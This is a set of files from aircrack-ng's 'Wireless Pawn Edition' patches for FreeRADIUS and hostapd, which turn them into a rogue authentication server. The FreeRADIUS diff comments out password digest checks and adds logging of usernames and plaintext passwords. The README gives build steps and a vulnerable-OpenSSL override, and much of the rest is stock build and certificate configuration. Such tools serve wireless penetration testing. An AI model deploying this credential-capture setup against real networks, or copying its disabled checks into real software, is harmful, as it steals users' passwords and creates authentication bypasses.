@@ -1199,11 +1213,13 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
return RLM_MODULE_FAIL;
}
+ /*
if ((fr_hex2bin(digest, sizeof(digest), charbuf, len) != vp->vp_length) ||
(rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0)) {
REDEBUG("LM digest does not match \"known good\" digest");
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -1260,10 +1276,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
fr_md5_final(buff, &md5_context);
}
+ /*
if (rad_digest_cmp(digest, buff, 16) != 0) {
REDEBUG("NS-MTA-MD5 digest does not match \"known good\" digest");
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -1286,6 +1304,9 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
return RLM_MODULE_INVALID;
}
+ log_wpe("pap",request->username->vp_strvalue, request->password->vp_strvalue,
+ NULL, 0, NULL, 0, main_config.wpelogfile);
+
/*
* The user MUST supply a non-zero-length password.
*/ |
|
Markdown | aircrack-ng/patches/wpe/freeradius-wpe/README.md | # FreeRadius Wireless Pawn Edition
Updated patch for FreeRadius 3.2.2
More information about WPE can be found:
https://www.willhackforsushi.com/?page_id=37
Supported and tested EAP Types/Inner Authentication Methods (others may also work):
* PEAP/PAP (OTP)
* PEAP/MSCHAPv2
* EAP-TTLS/PAP (includes OTPs)
* EAP-TTLS/MSCHAPv1
* EAP-TTLS/MSCHAPv2
* EAP-MD5
## Installing
### Dependencies
```
apt install libssl-dev build-essential libtalloc-dev libpcre3-dev
```
### Optional dependencies
```
apt install libsqlite3-dev libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev libgdbm-dev unixodbc-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev freetds-dev libwbclient-sssd-dev samba-dev libcollectdclient-dev libldap-dev
```
### Compilation
Run the following commands:
```
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.2.2.tar.bz2
tar -xjf freeradius-server-3.2.2.tar.bz2
cd freeradius-server-3.2.2/
wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-server-3.2.2-wpe.diff
patch -Np1 -i freeradius-server-3.2.2-wpe.diff
./configure
make
make install
ldconfig
```
## Running
Start ```radiusd``` in a terminal:
```
radiusd -s -X
```
If it fails running and complains about OpenSSL being vulnerable, make sure OpenSSL is up to date. If you are using a recent distribution, most likely OpenSSL is patched, and you can safely allow it. In order to do so, edit /usr/local/etc/raddb/radiusd.conf and change ```allow_vulnerable_openssl``` from ```no``` to ```'CVE-2016-6304'``` (with the single quotes).
Now, connect a client. Once a username/password is entered and the certificate accepted, information regarding that session will be stored in ```/usr/local/var/log/radius/freeradius-server-wpe.log```.
**Note**: This file won't be created until the first client connects and authenticates to the access point. |
aircrack-ng/patches/wpe/hostapd-wpe/Dockerfile | # Docker container to test WPE patch against a specific version of hostapd, then create an updated patch if successful.
# Build args:
# - OLD_VERSION: old hostapd version
# - NEW_VERSION: new hostapd version
FROM kalilinux/kali-rolling
ARG OLD_VERSION
ARG NEW_VERSION
RUN if [ -z "${OLD_VERSION}" ]; then \
>&2 echo "\nOLD_VERSION build argument not set\n"; \
exit 1; \
fi
RUN if [ -z "${NEW_VERSION}" ]; then \
>&2 echo "\nNEW_VERSION build argument not set\n"; \
exit 1; \
fi
RUN if [ "${NEW_VERSION}" = "${OLD_VERSION}" ]; then \
>&2 echo "\nNew version and old version cannot be identical!\n"; \
exit 1; \
fi
# Download required packages
RUN ln -f -s /usr/share/zoneinfo/UTC /etc/localtime
RUN apt update && apt dist-upgrade -y && \
apt install wget patch make gcc libssl-dev libnl-genl-3-dev \
libnl-3-dev pkg-config libsqlite3-dev -y && \
apt autoclean && \
rm -rf /var/lib/apt/lists/*
# Download and unpack
WORKDIR /tmp
RUN wget https://w1.fi/releases/hostapd-${NEW_VERSION}.tar.gz
RUN tar -zxf hostapd-${NEW_VERSION}.tar.gz
RUN cp -R hostapd-${NEW_VERSION} hostapd-${NEW_VERSION}-wpe
# Download and apply patch
RUN wget https://github.com/aircrack-ng/aircrack-ng/raw/master/patches/wpe/hostapd-wpe/hostapd-${OLD_VERSION}-wpe.patch
WORKDIR /tmp/hostapd-${NEW_VERSION}-wpe
RUN patch --no-backup-if-mismatch -p1 < ../hostapd-${OLD_VERSION}-wpe.patch
# Create updated patch
WORKDIR /tmp/
RUN if [ $(diff -rupN hostapd-${NEW_VERSION} hostapd-${NEW_VERSION}-wpe/ > hostapd-${NEW_VERSION}-wpe.patch) -eq 2 ]; then \
echo "diff failed"; \
ext 1; \
fi
# Ensure it compiles
WORKDIR /tmp/hostapd-${NEW_VERSION}-wpe/hostapd
RUN cd hostapd-${NEW_VERSION}/hostapd && make
# Then copy patch to /output
RUN mkdir /output && mv hostapd-${NEW_VERSION}-wpe.patch /output/hostapd-${NEW_VERSION}-wpe.patch |
|
Patch | aircrack-ng/patches/wpe/hostapd-wpe/hostapd-2.10-wpe.patch | diff '--color=auto' -rupN hostapd-2.10/hostapd/.config hostapd-2.10-wpe/hostapd/.config
--- hostapd-2.10/hostapd/.config 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/.config 2022-02-22 00:00:00.356000000 +0000
@@ -0,0 +1,416 @@
+# Wireless Pawn Edition HostAPd configuration file
+#
+# This file lists the configuration options that are used when building the
+# hostapd binary. All lines starting with # are ignored. Configuration option
+# lines must be commented out complete, if they are not to be included, i.e.,
+# just setting VARIABLE=n is not disabling that variable.
+#
+# This file is included in Makefile, so variables like CFLAGS and LIBS can also
+# be modified from here. In most cass, these lines should use += in order not
+# to override previous values of the variables.
+
+# Driver interface for Host AP driver
+CONFIG_DRIVER_HOSTAP=y
+
+# Driver interface for wired authenticator
+CONFIG_DRIVER_WIRED=y
+
+# Driver interface for drivers using the nl80211 kernel interface
+CONFIG_DRIVER_NL80211=y
+
+# QCA vendor extensions to nl80211
+CONFIG_DRIVER_NL80211_QCA=y
+
+# driver_nl80211.c requires libnl. If you are compiling it yourself
+# you may need to point hostapd to your version of libnl.
+#
+#CFLAGS += -I$<path to libnl include files>
+#LIBS += -L$<path to libnl library files>
+
+# Use libnl v2.0 (or 3.0) libraries.
+#CONFIG_LIBNL20=y
+
+# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)
+CONFIG_LIBNL32=y
+
+
+# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
+#CONFIG_DRIVER_BSD=y
+#CFLAGS += -I/usr/local/include
+#LIBS += -L/usr/local/lib
+#LIBS_p += -L/usr/local/lib
+#LIBS_c += -L/usr/local/lib
+
+# Driver interface for no driver (e.g., RADIUS server only)
+#CONFIG_DRIVER_NONE=y
+
+# WPA2/IEEE 802.11i RSN pre-authentication
+CONFIG_RSN_PREAUTH=y
+
+# Support Operating Channel Validation
+#CONFIG_OCV=y
+
+# Integrated EAP server
+CONFIG_EAP=y
+
+# EAP Re-authentication Protocol (ERP) in integrated EAP server
+CONFIG_ERP=y
+
+# EAP-MD5 for the integrated EAP server
+CONFIG_EAP_MD5=y
+
+# EAP-TLS for the integrated EAP server
+CONFIG_EAP_TLS=y
+
+# EAP-MSCHAPv2 for the integrated EAP server
+CONFIG_EAP_MSCHAPV2=y
+
+# EAP-PEAP for the integrated EAP server
+CONFIG_EAP_PEAP=y
+
+# EAP-GTC for the integrated EAP server
+CONFIG_EAP_GTC=y
+
+# EAP-TTLS for the integrated EAP server
+CONFIG_EAP_TTLS=y
+
+# EAP-SIM for the integrated EAP server
+CONFIG_EAP_SIM=y
+
+# EAP-AKA for the integrated EAP server
+CONFIG_EAP_AKA=y
+
+# EAP-AKA' for the integrated EAP server
+# This requires CONFIG_EAP_AKA to be enabled, too.
+CONFIG_EAP_AKA_PRIME=y
+
+# EAP-PAX for the integrated EAP server
+CONFIG_EAP_PAX=y
+
+# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
+CONFIG_EAP_PSK=y
+
+# EAP-pwd for the integrated EAP server (secure authentication with a password)
+CONFIG_EAP_PWD=y
+
+# EAP-SAKE for the integrated EAP server
+CONFIG_EAP_SAKE=y
+
+# EAP-GPSK for the integrated EAP server
+CONFIG_EAP_GPSK=y
+# Include support for optional SHA256 cipher suite in EAP-GPSK
+CONFIG_EAP_GPSK_SHA256=y
+
+# EAP-FAST for the integrated EAP server
+CONFIG_EAP_FAST=y
+
+# EAP-TEAP for the integrated EAP server
+# Note: The current EAP-TEAP implementation is experimental and should not be
+# enabled for production use. The IETF RFC 7170 that defines EAP-TEAP has number
+# of conflicting statements and missing details and the implementation has
+# vendor specific workarounds for those and as such, may not interoperate with
+# any other implementation. This should not be used for anything else than
+# experimentation and interoperability testing until those issues has been
+# resolved.
+CONFIG_EAP_TEAP=y
+
+# Wi-Fi Protected Setup (WPS)
+CONFIG_WPS=y
+# Enable UPnP support for external WPS Registrars
+CONFIG_WPS_UPNP=y
+# Enable WPS support with NFC config method
+CONFIG_WPS_NFC=y
+
+# EAP-IKEv2
+CONFIG_EAP_IKEV2=y
+
+# Trusted Network Connect (EAP-TNC)
+CONFIG_EAP_TNC=y
+
+# EAP-EKE for the integrated EAP server
+CONFIG_EAP_EKE=y
+
+# PKCS#12 (PFX) support (used to read private key and certificate file from
+# a file that usually has extension .p12 or .pfx)
+CONFIG_PKCS12=y
+
+# RADIUS authentication server. This provides access to the integrated EAP
+# server from external hosts using RADIUS.
+CONFIG_RADIUS_SERVER=y
+
+# Build IPv6 support for RADIUS operations
+CONFIG_IPV6=y
+
+# IEEE Std 802.11r-2008 (Fast BSS Transition)
+CONFIG_IEEE80211R=y
+
+# Use the hostapd's IEEE 802.11 authentication (ACL), but without
+# the IEEE 802.11 Management capability (e.g., FreeBSD/net80211)
+CONFIG_DRIVER_RADIUS_ACL=y
+
+# Wireless Network Management (IEEE Std 802.11v-2011)
+# Note: This is experimental and not complete implementation.
+CONFIG_WNM=y
+
+# IEEE 802.11ac (Very High Throughput) support
+CONFIG_IEEE80211AC=y
+
+# IEEE 802.11ax HE support
+# Note: This is experimental and work in progress. The definitions are still
+# subject to change and this should not be expected to interoperate with the
+# final IEEE 802.11ax version.
+CONFIG_IEEE80211AX=y
+
+# Remove debugging code that is printing out debug messages to stdout.
+# This can be used to reduce the size of the hostapd considerably if debugging
+# code is not needed.
+#CONFIG_NO_STDOUT_DEBUG=y
+
+# Add support for writing debug log to a file: -f /tmp/hostapd.log
+# Disabled by default.
+CONFIG_DEBUG_FILE=y
+
+# Send debug messages to syslog instead of stdout
+CONFIG_DEBUG_SYSLOG=y
+
+# Add support for sending all debug messages (regardless of debug verbosity)
+# to the Linux kernel tracing facility. This helps debug the entire stack by
+# making it easy to record everything happening from the driver up into the
+# same file, e.g., using trace-cmd.
+CONFIG_DEBUG_LINUX_TRACING=y
+
+# Remove support for RADIUS accounting
+#CONFIG_NO_ACCOUNTING=y
+
+# Remove support for RADIUS
+#CONFIG_NO_RADIUS=y
+
+# Remove support for VLANs
+#CONFIG_NO_VLAN=y
+
+# Enable support for fully dynamic VLANs. This enables hostapd to
+# automatically create bridge and VLAN interfaces if necessary.
+#CONFIG_FULL_DYNAMIC_VLAN=y
+
+# Use netlink-based kernel API for VLAN operations instead of ioctl()
+# Note: This requires libnl 3.1 or newer.
+#CONFIG_VLAN_NETLINK=y
+
+# Remove support for dumping internal state through control interface commands
+# This can be used to reduce binary size at the cost of disabling a debugging
+# option.
+#CONFIG_NO_DUMP_STATE=y
+
+# Enable tracing code for developer debugging
+# This tracks use of memory allocations and other registrations and reports
+# incorrect use with a backtrace of call (or allocation) location.
+#CONFIG_WPA_TRACE=y
+# For BSD, comment out these.
+#LIBS += -lexecinfo
+#LIBS_p += -lexecinfo
+#LIBS_c += -lexecinfo
+
+# Use libbfd to get more details for developer debugging
+# This enables use of libbfd to get more detailed symbols for the backtraces
+# generated by CONFIG_WPA_TRACE=y.
+#CONFIG_WPA_TRACE_BFD=y
+# For BSD, comment out these.
+#LIBS += -lbfd -liberty -lz
+#LIBS_p += -lbfd -liberty -lz
+#LIBS_c += -lbfd -liberty -lz
+
+# hostapd depends on strong random number generation being available from the
+# operating system. os_get_random() function is used to fetch random data when
+# needed, e.g., for key generation. On Linux and BSD systems, this works by
+# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
+# properly initialized before hostapd is started. This is important especially
+# on embedded devices that do not have a hardware random number generator and
+# may by default start up with minimal entropy available for random number
+# generation.
+#
+# As a safety net, hostapd is by default trying to internally collect
+# additional entropy for generating random data to mix in with the data
+# fetched from the OS. This by itself is not considered to be very strong, but
+# it may help in cases where the system pool is not initialized properly.
+# However, it is very strongly recommended that the system pool is initialized
+# with enough entropy either by using hardware assisted random number
+# generator or by storing state over device reboots.
+#
+# hostapd can be configured to maintain its own entropy store over restarts to
+# enhance random number generation. This is not perfect, but it is much more
+# secure than using the same sequence of random numbers after every reboot.
+# This can be enabled with -e<entropy file> command line option. The specified
+# file needs to be readable and writable by hostapd.
+#
+# If the os_get_random() is known to provide strong random data (e.g., on
+# Linux/BSD, the board in question is known to have reliable source of random
+# data from /dev/urandom), the internal hostapd random pool can be disabled.
+# This will save some in binary size and CPU use. However, this should only be
+# considered for builds that are known to be used on devices that meet the
+# requirements described above.
+#CONFIG_NO_RANDOM_POOL=y
+
+# Should we attempt to use the getrandom(2) call that provides more reliable
+# yet secure randomness source than /dev/random on Linux 3.17 and newer.
+# Requires glibc 2.25 to build, falls back to /dev/random if unavailable.
+#CONFIG_GETRANDOM=y
+
+# Should we use poll instead of select? Select is used by default.
+#CONFIG_ELOOP_POLL=y
+
+# Should we use epoll instead of select? Select is used by default.
+#CONFIG_ELOOP_EPOLL=y
+
+# Should we use kqueue instead of select? Select is used by default.
+#CONFIG_ELOOP_KQUEUE=y
+
+# Select TLS implementation
+# openssl = OpenSSL (default)
+# gnutls = GnuTLS
+# internal = Internal TLSv1 implementation (experimental)
+# linux = Linux kernel AF_ALG and internal TLSv1 implementation (experimental)
+# none = Empty template
+#CONFIG_TLS=openssl
+
+# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
+# can be enabled to get a stronger construction of messages when block ciphers
+# are used.
+CONFIG_TLSV11=y
+
+# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)
+# can be enabled to enable use of stronger crypto algorithms.
+CONFIG_TLSV12=y
+
+# Select which ciphers to use by default with OpenSSL if the user does not
+# specify them.
+CONFIG_TLS_DEFAULT_CIPHERS="ALL"
+
+# If CONFIG_TLS=internal is used, additional library and include paths are
+# needed for LibTomMath. Alternatively, an integrated, minimal version of
+# LibTomMath can be used. See beginning of libtommath.c for details on benefits
+# and drawbacks of this option.
+#CONFIG_INTERNAL_LIBTOMMATH=y
+#ifndef CONFIG_INTERNAL_LIBTOMMATH
+#LTM_PATH=/usr/src/libtommath-0.39
+#CFLAGS += -I$(LTM_PATH)
+#LIBS += -L$(LTM_PATH)
+#LIBS_p += -L$(LTM_PATH)
+#endif
+# At the cost of about 4 kB of additional binary size, the internal LibTomMath
+# can be configured to include faster routines for exptmod, sqr, and div to
+# speed up DH and RSA calculation considerably
+CONFIG_INTERNAL_LIBTOMMATH_FAST=y
+
+# Interworking (IEEE 802.11u)
+# This can be used to enable functionality to improve interworking with
+# external networks.
+CONFIG_INTERWORKING=y
+
+# Hotspot 2.0
+CONFIG_HS20=y
+
+# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file
+CONFIG_SQLITE=y
+
+# Enable Fast Session Transfer (FST)
+CONFIG_FST=y
+
+# Enable CLI commands for FST testing
+#CONFIG_FST_TEST=y
+
+# Testing options
+# This can be used to enable some testing options (see also the example
+# configuration file) that are really useful only for testing clients that
+# connect to this hostapd. These options allow, for example, to drop a
+# certain percentage of probe requests or auth/(re)assoc frames.
+#
+CONFIG_TESTING_OPTIONS=y
+
+# Automatic Channel Selection
+# This will allow hostapd to pick the channel automatically when channel is set
+# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in
+# similar way.
+#
+# Automatic selection is currently only done through initialization, later on
+# we hope to do background checks to keep us moving to more ideal channels as
+# time goes by. ACS is currently only supported through the nl80211 driver and
+# your driver must have survey dump capability that is filled by the driver
+# during scanning.
+#
+# You can customize the ACS survey algorithm with the hostapd.conf variable
+# acs_num_scans.
+#
+# Supported ACS drivers:
+# * ath9k
+# * ath5k
+# * ath10k
+#
+# For more details refer to:
+# https://wireless.wiki.kernel.org/en/users/documentation/acs
+#
+CONFIG_ACS=y
+
+# Multiband Operation support
+# These extensions facilitate efficient use of multiple frequency bands
+# available to the AP and the devices that may associate with it.
+CONFIG_MBO=y
+
+# Client Taxonomy
+# Has the AP retain the Probe Request and (Re)Association Request frames from
+# a client, from which a signature can be produced which can identify the model
+# of client device like "Nexus 6P" or "iPhone 5s".
+CONFIG_TAXONOMY=y
+
+# Fast Initial Link Setup (FILS) (IEEE 802.11ai)
+CONFIG_FILS=y
+# FILS shared key authentication with PFS
+CONFIG_FILS_SK_PFS=y
+
+# Include internal line edit mode in hostapd_cli. This can be used to provide
+# limited command line editing and history support.
+CONFIG_WPA_CLI_EDIT=y
+
+# Opportunistic Wireless Encryption (OWE)
+# Experimental implementation of draft-harkins-owe-07.txt
+CONFIG_OWE=y
+
+# Airtime policy support
+CONFIG_AIRTIME_POLICY=y
+
+# Override default value for the wpa_disable_eapol_key_retries configuration
+# parameter. See that parameter in hostapd.conf for more details.
+#CFLAGS += -DDEFAULT_WPA_DISABLE_EAPOL_KEY_RETRIES=1
+
+# Wired equivalent privacy (WEP)
+# WEP is an obsolete cryptographic data confidentiality algorithm that is not
+# considered secure. It should not be used for anything anymore. The
+# functionality needed to use WEP is available in the current hostapd
+# release under this optional build parameter. This functionality is subject to
+# be completely removed in a future release.
+CONFIG_WEP=y
+
+# Remove all TKIP functionality
+# TKIP is an old cryptographic data confidentiality algorithm that is not
+# considered secure. It should not be used anymore. For now, the default hostapd
+# build includes this to allow mixed mode WPA+WPA2 networks to be enabled, but
+# that functionality is subject to be removed in the future.
+#CONFIG_NO_TKIP=y
+
+# Pre-Association Security Negotiation (PASN)
+# Experimental implementation based on IEEE P802.11z/D2.6 and the protocol
+# design is still subject to change. As such, this should not yet be enabled in
+# production use.
+# This requires CONFIG_IEEE80211W=y to be enabled, too.
+CONFIG_PASN=y
+CONFIG_IEEE80211W=y
+
+# Device Provisioning Protocol (DPP) (also known as Wi-Fi Easy Connect)
+CONFIG_DPP=y
+# DPP version 2 support
+CONFIG_DPP2=y
+# DPP version 3 support (experimental and still changing; do not enable for
+# production use)
+CONFIG_DPP3=y
+
+# Forgotten/lost somewhere
+CONFIG_SAE=y
diff '--color=auto' -rupN hostapd-2.10/hostapd/Makefile hostapd-2.10-wpe/hostapd/Makefile
--- hostapd-2.10/hostapd/Makefile 2022-01-16 20:51:29.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/Makefile 2022-02-21 23:29:30.104000000 +0000
@@ -1,4 +1,4 @@
-ALL=hostapd hostapd_cli
+ALL=hostapd-wpe hostapd_cli-wpe
CONFIG_FILE = .config
include ../src/build.rules
@@ -84,6 +84,7 @@ OBJS += ../src/ap/beacon.o
OBJS += ../src/ap/bss_load.o
OBJS += ../src/ap/neighbor_db.o
OBJS += ../src/ap/rrm.o
+OBJS += ../src/wpe/wpe.o
OBJS_c = hostapd_cli.o
OBJS_c += ../src/common/wpa_ctrl.o
@@ -1277,11 +1278,20 @@ $(DESTDIR)$(BINDIR)/%: %
install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL))
+wpe:
+ install -d $(DESTDIR)/etc/hostapd-wpe
+ install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe
+ install -d $(DESTDIR)/etc/hostapd-wpe/certs
+ install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
+ install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
+ install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs
+ install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs
+
_OBJS_VAR := OBJS
include ../src/objs.mk
-hostapd: $(OBJS)
- $(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS)
+hostapd-wpe: $(OBJS)
+ $(Q)$(CC) $(LDFLAGS) -o $@ $(OBJS) $(LIBS)
@$(E) " LD " $@
ifdef CONFIG_WPA_TRACE
@@ -1291,8 +1301,8 @@ endif
_OBJS_VAR := OBJS_c
include ../src/objs.mk
-hostapd_cli: $(OBJS_c)
- $(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c)
+hostapd_cli-wpe: $(OBJS_c)
+ $(Q)$(CC) $(LDFLAGS) -o $@ $(OBJS_c) $(LIBS_c)
@$(E) " LD " $@
NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS)
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/Makefile hostapd-2.10-wpe/hostapd/certs/Makefile
--- hostapd-2.10/hostapd/certs/Makefile 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/Makefile 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,145 @@
+######################################################################
+#
+# Make file to be installed in /etc/raddb/certs to enable
+# the easy creation of certificates.
+#
+# See the README file in this directory for more information.
+#
+# $Id: cc12464c6c7754aff2f0c8d6e116708c94ff2168 $
+#
+######################################################################
+
+DH_KEY_SIZE = 2048
+
+#
+# Set the passwords
+#
+-include passwords.mk
+
+######################################################################
+#
+# Make the necessary files, but not client certificates.
+#
+######################################################################
+.PHONY: all
+all: index.txt serial dh server ca client
+
+.PHONY: client
+client: client.pem
+
+.PHONY: ca
+ca: ca.der
+
+.PHONY: server
+server: server.pem server.vrfy
+
+.PHONY: verify
+verify: server.vrfy client.vrfy
+
+passwords.mk: server.cnf ca.cnf client.cnf
+ @echo "PASSWORD_SERVER = '$(shell grep output_password server.cnf | sed 's/.*=//;s/^ *//')'" > $@
+ @echo "PASSWORD_CA = '$(shell grep output_password ca.cnf | sed 's/.*=//;s/^ *//')'" >> $@
+ @echo "PASSWORD_CLIENT = '$(shell grep output_password client.cnf | sed 's/.*=//;s/^ *//')'" >> $@
+ @echo "USER_NAME = '$(shell grep emailAddress client.cnf | grep '@' | sed 's/.*=//;s/^ *//')'" >> $@
+ @echo "CA_DEFAULT_DAYS = '$(shell grep default_days ca.cnf | sed 's/.*=//;s/^ *//')'" >> $@
+
+######################################################################
+#
+# Diffie-Hellman parameters
+#
+######################################################################
+dh:
+ openssl dhparam -out dh -2 $(DH_KEY_SIZE)
+
+######################################################################
+#
+# Create a new self-signed CA certificate
+#
+######################################################################
+ca.key ca.pem: ca.cnf
+ @[ -f index.txt ] || $(MAKE) index.txt
+ @[ -f serial ] || $(MAKE) serial
+ openssl req -new -x509 -keyout ca.key -out ca.pem \
+ -days $(CA_DEFAULT_DAYS) -config ./ca.cnf
+
+ca.der: ca.pem
+ openssl x509 -inform PEM -outform DER -in ca.pem -out ca.der
+
+######################################################################
+#
+# Create a new server certificate, signed by the above CA.
+#
+######################################################################
+server.csr server.key: server.cnf
+ openssl req -new -out server.csr -keyout server.key -config ./server.cnf
+
+server.crt: server.csr ca.key ca.pem
+ openssl ca -batch -keyfile ca.key -cert ca.pem -in server.csr -key $(PASSWORD_CA) -out server.crt -extensions xpserver_ext -extfile xpextensions -config ./server.cnf
+
+server.p12: server.crt
+ openssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
+
+server.pem: server.p12
+ openssl pkcs12 -in server.p12 -out server.pem -passin pass:$(PASSWORD_SERVER) -passout pass:$(PASSWORD_SERVER)
+
+.PHONY: server.vrfy
+server.vrfy: ca.pem
+ @openssl verify -CAfile ca.pem server.pem
+
+######################################################################
+#
+# Create a new client certificate, signed by the the above server
+# certificate.
+#
+######################################################################
+client.csr client.key: client.cnf
+ openssl req -new -out client.csr -keyout client.key -config ./client.cnf
+
+client.crt: client.csr ca.pem ca.key
+ openssl ca -batch -keyfile ca.key -cert ca.pem -in client.csr -key $(PASSWORD_CA) -out client.crt -extensions xpclient_ext -extfile xpextensions -config ./client.cnf
+
+client.p12: client.crt
+ openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12 -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
+
+client.pem: client.p12
+ openssl pkcs12 -in client.p12 -out client.pem -passin pass:$(PASSWORD_CLIENT) -passout pass:$(PASSWORD_CLIENT)
+ cp client.pem $(USER_NAME).pem
+
+.PHONY: client.vrfy
+client.vrfy: ca.pem client.pem
+ c_rehash .
+ openssl verify -CApath . client.pem
+
+######################################################################
+#
+# Miscellaneous rules.
+#
+######################################################################
+index.txt:
+ @touch index.txt
+
+serial:
+ @echo '01' > serial
+
+print:
+ openssl x509 -text -in server.crt
+
+printca:
+ openssl x509 -text -in ca.pem
+
+install:
+ install -d $(DESTDIR)/etc/hostapd-wpe
+ install -m 644 dh $(DESTDIR)/etc/hostapd-wpe
+ install -m 644 ca.pem $(DESTDIR)/etc/hostapd-wpe
+ install -m 644 server.pem $(DESTDIR)/etc/hostapd-wpe
+ install -m 644 server.key $(DESTDIR)/etc/hostapd-wpe
+
+clean:
+ @rm -f *~ *old client.csr client.key client.crt client.p12 client.pem
+
+#
+# Make a target that people won't run too often.
+#
+destroycerts:
+ rm -f *~ dh *.csr *.crt *.p12 *.der *.pem *.key index.txt* \
+ serial* *\.0 *\.1
diff '--color=auto' -rupN hostapd-2.10/hostapd/certs/README hostapd-2.10-wpe/hostapd/certs/README
--- hostapd-2.10/hostapd/certs/README 1970-01-01 00:00:00.000000000 +0000
+++ hostapd-2.10-wpe/hostapd/certs/README 2022-02-21 23:29:30.100000000 +0000
@@ -0,0 +1,226 @@
+ This directory contains scripts to create the server certificates.
+To make a set of default (i.e. test) certificates, simply type:
+
+$ ./bootstrap
+
+ The "openssl" command will be run against the sample configuration
+files included here, and will make a self-signed certificate authority
+(i.e. root CA), and a server certificate. This "root CA" should be
+installed on any client machine needing to do EAP-TLS, PEAP, or
+EAP-TTLS.
+
+ The Microsoft "XP Extensions" will be automatically included in the
+server certificate. Without those extensions Windows clients will
+refuse to authenticate to FreeRADIUS.
+
+ The root CA and the "XP Extensions" file also contain a crlDistributionPoints
+attribute. The latest release of Windows Phone needs this to be present
+for the handset to validate the RADIUS server certificate. The RADIUS
+server must have the URI defined but the CA need not have...however it
+is best practice for a CA to have a revocation URI. Note that whilst
+the Windows Mobile client cannot actually use the CRL when doing 802.1X
+it is recommended that the URI be an actual working URL and contain a
+revocation format file as there may be other OS behaviour at play and
+future OSes that may do something with that URI.
+
+ In general, you should use self-signed certificates for 802.1x (EAP)
+authentication. When you list root CAs from other organisations in
+the "ca_file", you permit them to masquerade as you, to authenticate
+your users, and to issue client certificates for EAP-TLS.
+
+ If FreeRADIUS was configured to use OpenSSL, then simply starting
+the server in root in debugging mode should also create test
+certificates, i.e.:
+
+$ radiusd -X
+
+ That will cause the EAP-TLS module to run the "bootstrap" script in
+this directory. The script will be executed only once, the first time
+the server has been installed on a particular machine. This bootstrap
+script SHOULD be run on installation of any pre-built binary package
+for your OS. In any case, the script will ensure that it is not run
+twice, and that it does not over-write any existing certificates.
+
+ If you already have CA and server certificates, rename (or delete)
+this directory, and create a new "certs" directory containing your
+certificates. Note that the "make install" command will NOT
+over-write your existing "raddb/certs" directory, which means that the
+"bootstrap" command will not be run.
+
+
+ NEW INSTALLATIONS OF FREERADIUS
+
+
+ We suggest that new installations use the test certificates for
+initial tests, and then create real certificates to use for normal
+user authentication. See the instructions below for how to create the
+various certificates. The old test certificates can be deleted by
+running the following command:
+
+$ rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt*
+
+ Then, follow the instructions below for creating real certificates.
+
+ Once the final certificates have been created, you can delete the
+"bootstrap" command from this directory, and delete the
+"make_cert_command" configuration from the "tls" sub-section of
+eap.conf.
+
+ If you do not want to enable EAP-TLS, PEAP, or EAP-TTLS, then delete
+the relevant sub-sections from the "eap.conf" file.
+
+
+ MAKING A ROOT CERTIFICATE
+
+
+$ vi ca.cnf
+
+ Edit the "input_password" and "output_password" fields to be the
+ password for the CA certificate.
+
+ Edit the [certificate_authority] section to have the correct values
+ for your country, state, etc.
+
+$ make ca.pem
+
+ This step creates the CA certificate.
+
+$ make ca.der
+
+ This step creates the DER format of the self-signed certificate,
+ which is can be imported into Windows.
+
+
+ MAKING A SERVER CERTIFICATE
+
+
+$ vi server.cnf
+
+ Edit the "input_password" and "output_password" fields to be the
+ password for the server certificate.
+
+ Edit the [server] section to have the correct values for your
+ country, state, etc. Be sure that the commonName field here is
+ different from the commonName for the CA certificate.
+
+$ make server.pem
+
+ This step creates the server certificate.
+
+ If you have an existing certificate authority, and wish to create a
+ certificate signing request for the server certificate, edit
+ server.cnf as above, and type the following command.
+
+$ make server.csr
+
+ You will have to ensure that the certificate contains the XP
+ extensions needed by Microsoft clients.
+
+
+ MAKING A CLIENT CERTIFICATE
+
+
+ Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
+and PEAP. The following steps outline how to create a client
+certificate that is signed by the server certificate created above.
+You will have to have the password for the server certificate in the
+"input_password" and "output_password" fields of the server.cnf file.
+
+
+$ vi client.cnf
+
